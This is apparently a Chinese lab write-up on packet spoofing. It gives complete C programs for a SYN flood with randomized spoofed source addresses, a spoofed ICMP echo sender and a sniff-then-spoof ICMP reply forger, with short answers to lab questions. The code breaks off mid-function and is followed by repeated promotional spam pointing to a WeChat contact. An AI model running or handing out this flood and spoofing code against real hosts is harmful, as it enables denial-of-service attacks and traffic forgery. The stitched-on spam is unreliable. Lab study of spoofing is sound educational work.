#include <arpa/inet.h>
#include <netinet/ip.h>
struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
校验和计算
校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。
接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。
最后,将checksum取反并返回。
// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}
// 取反
return (unsigned short)(~checksum);
}
初始化报头
IP报头的初始化。设置版本、ihl、服务类型等等字段。
// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_TCP
ip->protocol = IPPROTO_TCP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}
初始化TCP报头以及伪报头的函数。使用rand生成一个随机数,并将其转换成网络字节序作为源IP,用于隐匿本机IP。TCP的flag字段设为0x02表示设置SYN。
// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
// 生成随机端口
tcp->sport = htons(rand() % 16383 + 49152);
// 目的端口
tcp->dport = htons(dport);
// 随机生成一个序号,转化为网络字节顺序
tcp->seq = htonl(rand() % 90000000 + 2345);
// 将 ack_seq 字段初始化为 0,表示没有确认序列号
tcp->ack_seq = 0;
/**
* 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
* 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
*/
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
// 将 flag 设置 SYN 控制标志位
tcp->flag = 0x02;
// 设置窗口大小
tcp->win = htons(1024);
// 初始化校验和
tcp->checksum = 0;
// 将紧急指针 urg 初始化为 0,表示没有紧急数据
tcp->urg = 0;
}
// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}
构造SYN包
下面这段代码构造了一个SYN数据包,计算IP校验和 利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。
// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
// 随机生成源地址
unsigned int saddr = rand();
// 长度设置为一个ip报头+tcp报头的长度
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
// 计算IP校验和
ip.check = checksum((u_short *)&ip, sizeof(ip));
bzero(buf, sizeof(buf));
// 复制TCP伪头部
memcpy(buf, &pseudo, sizeof(pseudo));
// 复制TCP头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
// 计算TCP校验和
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
// 填充ip报头
memcpy(packet, &ip, sizeof(ip));
// 填充tcp报头
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
// 格式化输出消息
unsigned char *dbytes = (unsigned char *)&daddr;
unsigned char *sbytes = (unsigned char *)&saddr;
printf(“send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%un”, sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);
return len;
}
创建原始套接字
通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。
通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。
// 创建原始套接字
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}
发送伪造数据包
下面的代码设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。
// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
// 数据包
char packet[256];
// 数据包长度
int pkt_len;
// 初始化
bzero(&skaddr, sizeof(skaddr));
// 设置目标地址
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
// 创建一个syn数据包
pkt_len = make_syn_packet(packet, 256, addr, port);
// 发送syn数据包
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
完整代码与效果
// 拼接上面的代码即可
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3)
{
fprintf(stderr, “Usage: synflood
exit(1);
}
// 获取地址和端口
addr = inet_addr(argv[1]);
port = atoi(argv[2]);
if (port < 0 || port > 65535)
{
fprintf(stderr, “Invalid destination port number: %sn”, argv[2]);
exit(1);
}
// 创建原始套接字
sockfd = make_raw_socket();
if (sockfd == -1)
{
fprintf(stderr, “Failed to make raw socketn”);
exit(1);
}
// 一直发送syn数据包
for (int i = 0; i > -1; i++)
{
sleep(1);
if (send_syn_packet(sockfd, addr, port) < 0)
{
fprintf(stderr, “Failed to send syn packetn”);
}
}
close(sockfd);
return 0;
}
首先使用python创建一个HTTP服务器并监听端口8000。
然后使用netstat -ntc监听该端口的连接情况
编译并运行syn泛洪攻击程序并设置目标为10.9.0.5:8000
查看运行结果,收到了大量的SYN建立连接请求。而且源IP也被隐藏了。
Task 2.2B: Spoof an ICMP Echo Request
自己编写一个ping程序
头文件
定义了两个常量 ICMP_ECHO
和 ICMP_ECHOREPLY
,分别表示 ICMP 的 Echo 请求和 Echo 回复报文的类型值。定义了一个名为 icmpheader
的结构体,用于表示 ICMP 头部。
结构体成员的含义如下:
icmp_type
:ICMP 消息类型icmp_code
:错误码icmp_chksum
:ICMP 头部和数据的校验和icmp_id
:用于标识请求的 IDicmp_seq
:序列号
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};
校验和计算
与Task2.2A相同
/**
- @brief 计算校验和
- @param buffer
- @param size
- @return unsigned short
*/
unsigned short checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}
// 取反
return (unsigned short)(~checksum);
}
初始化报头
用于初始化 IP 头部和 ICMP 头部的字段。
/**
* @brief 初始化ip
*
* @param ip
* @param srcaddr
* @param dstaddr
*/
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct icmpheader);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_ICMP
ip->protocol = IPPROTO_ICMP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}
/**
* @brief 初始化icmp数据包
*
* @param icmp
* @param type
* @param code
*/
void init_icmp_header(struct icmpheader *icmp, int type, int code)
{
// 设置ICMP报文的类型
icmp->icmp_type = type;
if (type == ICMP_ECHOREPLY)
{
// 设置ICMP报文的代码
icmp->icmp_code = code;
}
// 计算ICMP报文的校验和
icmp->icmp_chksum = 0;
// 计算ICMP报文的校验和
icmp->icmp_chksum = checksum((unsigned short *)icmp,
sizeof(struct icmpheader));
}
创建原始套接字
与Task2.2A相同
/**
* @brief 创建一个原始套接字
*
* @return int
*/
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}
发送伪造的Ping Echo
函数接受一个套接字描述符 sock
和一个指向 struct iphdr
结构体的指针 ip
作为参数。函数首先设置目标地址信息 dest_info
,其中包括目标地址的协议类型和 IP 地址。最后,函数调用 sendto
函数发送 IP 报文。
/**
* @brief 发送ping报文
*
* @param sock
* @param ip
*/
void send_raw_ip_packet(int sock, struct iphdr *ip)
{
// struct sockaddr_in dest_info;
struct sockaddr_in dest_info;
// 设置IP地址的协议类型
dest_info.sin_family = AF_INET;
// 设置IP地址
dest_info.sin_addr.s_addr = ip->daddr;
// 打印IP地址
printf(“icmp send to %sn”, inet_ntoa(dest_info.sin_addr));
// 发送IP报文
sendto(sock, ip, ntohs(ip->tot_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
}
完整代码与效果
完整代码如下所示
// 拼接上面的代码即可
/******************************************************************
Spoof an ICMP echo request using an arbitrary source IP Address
*******************************************************************/
int main(int argc, char **argv)
{
char buffer[1500];
memset(buffer, 0, 1500);
int sock = make_raw_socket();
/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
init_icmp_header(icmp, ICMP_ECHO, 0);
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ip = (struct iphdr *)buffer;
init_ip_header(ip, inet_addr(“10.0.2.15”),
inet_addr(argv[1]));
// 计算IP校验和
ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
while (1)
{
send_raw_ip_packet(sock, ip);
sleep(1);
}
close(sock);
return 0;
}
使用tcpdump监听地址为10.0.2.15的网络接口的icmp数据包
sudo tcpdump -i enp0s3 -v icmp
然后编译运行伪造ICMP报文的程序并运行
gcc -o ping ping.c # 编译
sudo ./ping 43.138.70.209 # 运行
运行结果如下,通过tcpdump可知能够正常发送ICMP Echo数据包并收到ICMP Reply回复。
Q D
能把IP包的长度设置为任意数值,而不管实际的包的大小吗?
不能,调大调小都是不正确的行为。
- IP报头长度比实际长度小:这会导致接收方无法正确解析IP报文。接收方会期望更多的数据作为报文的一部分,但实际上接收到的数据可能不足以构成完整的IP报文。这可能导致接收方丢弃或拒绝该报文,因为它被认为是损坏或不完整的。
- IP报头长度比实际长度大:这会导致接收方错误地解析IP报文,从而引起通信问题或数据损坏。比如在IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片。
- 设置为一个较小的值
修改初始化IP头部的代码如下,将len设置为一个较小的值
然后重新编译运行,发现ICMP Echo报文有去无回,无法收到ICMP Reply报文。
- 设置为一个较大的值
修改初始化IP头部的代码如下,将len设置为一个较大的值
然后重新编译运行,发现ICMP Echo报文有去无回,也能正常收到ICMP Reply报文。
- 说明了什么
是不是说明调大不会影响数据包的正常接收,而调小会呢?事实上,调大调小都可能会导致错误通信。当 IP 报头的长度字段比实际长度大时可能导致:
- **分片错误:**IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片,导致分片的片段长度不正确。
- **重组问题:**接收方在接收分片后的 IP 数据包时,会根据偏移和标识字段对分片进行重组。在这种情况下,接收方可能无法正确地重组分片,导致数据包错误或丢失。
Q E
使用原始套接字时,需要计算IP报文的校验和吗?
可以不需要。
操作系统中的网络协议栈会自动处理IP头部的计算和填充。它会根据IP头部中的各个字段的值,按照IP协议规范中定义的计算方法,自动生成正确的校验和,并将其填充到IP头部的校验和字段中。
修改main函数,将校验和计算过程注释掉,如下所示。
然后重新编译运行,发现能够正常发送ICMP Echo并得到ICMP Reply响应。
现代操作系统的网络协议栈通常会自动计算和填充IP头部的校验和字段。当使用原始套接字发送IP数据包时,操作系统会负责处理IP头部的构建和校验和计算。我们只需要构造IP数据包的内容,将其传递给操作系统,并通过原始套接字发送即可。
Q F
为什么时原始套接字需要root权限?
通过原始套接字,可以直接访问和操作网络层的数据包,包括构造和发送自定义的网络数据包。所有会存在潜在的安全风险,因此必须要root权限。如果没有root权限,在创建原始套接字过程就会失败了。
Task 2.3: Sniff and then Spoof
编写一个程序能够响应ICMP ECHO,伪造ICMP Reply。
头文件
定义了ICMP报头和以太网帧报头
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h>
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
/* Ethernet header */
struct ethheader {
u_char ether_dhost[6];
// 目的mac地址
u_char ether_shost[6];
// 源mac地址
u_short ether_type;
};
/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};
校验和计算
同上Taks2.2B,略
初始化报头
同上Taks2.2B,略
创建原始套接字
同上Taks2.2B,略
发送数据包
同上Taks2.2B,略
回调函数
首先将捕获到的数据包解析为以太网帧,然后进行处理。接下来,使用 make_raw_socket
函数创建了一个原始套接字。然后,它检查以太网帧的类型是否为 IPv4,并将以太网帧转换为 IPv4 头部。
如果协议类型为 ICMP,伪造一个ICMP Echo Reply报文,并使用 send_raw_ip_packet
函数发送伪造的回复报文。
/**
* @brief 回调函数
*
* @param args
* @param header
* @param packet
*/
void handler(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
printf(“*****************************************************n”);
// 将数据包解析为以太网帧
struct ethheader *eth = (struct ethheader *)packet;
// 创建原始套接字
int sock = make_raw_socket();
// 如果以太网帧类型为IPv4
if (ntohs(eth->ether_type) == 0x0800)
{ // 0x0800 is IP type
// 将以太网帧转换为IPv4
struct iphdr *ip = (struct iphdr *)(packet + sizeof(struct ethheader));
// 获取源地址和目标地址
struct in_addr addr;
struct in_addr daddr;
addr.s_addr = ip->saddr;
daddr.s_addr = ip->daddr;
// 打印源地址和目标地址
printf("From: %s ", inet_ntoa(addr));
printf("To: %s ", inet_ntoa(daddr));
// 判断协议类型
if (ip->protocol == IPPROTO_ICMP)
printf(“protocal: ICMPn”);
else
printf(“protocal: Othersn”);
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader)
- sizeof(struct iphdr));
if (ip->protocol == IPPROTO_ICMP)
{
char buffer[1500];
memset(buffer, 0, 1500);
/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
init_icmp_header(icmp, ICMP_ECHOREPLY, 0);
printf(“icmp id: %d, seq: %dn”, ntohs(icmp_pkt->icmp_id), ntohs(icmp_pkt->icmp_seq));
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ipp = (struct iphdr *)buffer;
init_ip_header(ipp, ip->daddr, ip->saddr);
addr.s_addr = ipp->saddr;
daddr.s_addr = ipp->daddr;
printf(“send reply source :%sn”, inet_ntoa(addr));
printf(“send reply dest: %sn”, inet_ntoa(daddr));
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(sock, ipp);
}
}
close(sock);
}
绑定网络接口
首先打开一个与网络接口 "br-0d32c54e0d4e"
相关联的 live pcap 会话。pcap_open_live
函数返回一个 pcap 句柄。如果打开会话成功,会打印相关信息。然后,将过滤表达式 "icmp[icmptype]==icmp-echo"
编译为 BPF(Berkley Packet Filter)伪代码。pcap_compile
函数将过滤表达式编译为过滤程序,并将结果存储在 fp
中。接下来,使用 pcap_setfilter
函数将过滤程序应用于 pcap 句柄,以便仅捕获 ICMP Echo 类型的报文。最后,使用 pcap_loop
函数开始捕获数据包。pcap_loop
函数会循环捕获数据包,并将每个捕获到的数据包传递给 handler
回调函数进行处理。
int main(int argc, char **argv)
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = “icmp[icmptype]==icmp-echo”;
bpf_u_int32 net;
// Step 1: Open live pcap session on NIC with name br-0d32c54e0d4e
handle = pcap_open_live(“br-0d32c54e0d4e”, BUFSIZ, 1, 1000, errbuf);
printf(“listening on network card, ret: %p…n”, handle);
// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
…(img-YlwpAQHw-1712346232709)]
[外链图片转存中…(img-JxcFnFbB-1712346232710)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-ntY3dRbC-1712346232710)]
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算